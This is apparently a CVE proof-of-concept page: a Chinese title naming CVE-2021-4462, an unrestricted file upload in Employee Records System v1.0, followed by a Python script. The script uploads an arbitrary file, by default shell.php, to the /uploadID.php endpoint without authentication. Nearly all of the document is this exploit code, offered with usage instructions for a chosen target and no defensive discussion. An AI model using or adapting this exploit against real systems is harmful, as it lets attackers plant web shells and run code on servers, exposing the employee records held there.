CVE-2021-4462 Employee Records System无限制文件上传远程代码执行漏洞

import requests import sys # CVE-2021-4462 PoC - Employee Records System Unrestricted File Upload # Target: Employee Records System v1.0 # Endpoint: /uploadID.php def exploit(target_url, file_path): """ Exploit for CVE-2021-4462 Upload arbitrary file via uploadID.php endpoint """ upload_url = f"{target_url}/uploadID.php" # Read the file to upload with open(file_path, 'rb') as f: file_content = f.read() # Prepare the malicious file upload request files = { 'file': ('shell.php', file_content, 'application/x-php') } try: # Send the upload request without authentication response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: print(f"[+] File uploaded successfully!") print(f"[+] Response: {response.text}") # The uploaded file path is typically returned in response return True else: print(f"[-] Upload failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <file_to_upload>") print(f"Example: python {sys.argv[0]} http://vulnerable.com shell.php") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit(target, file_path)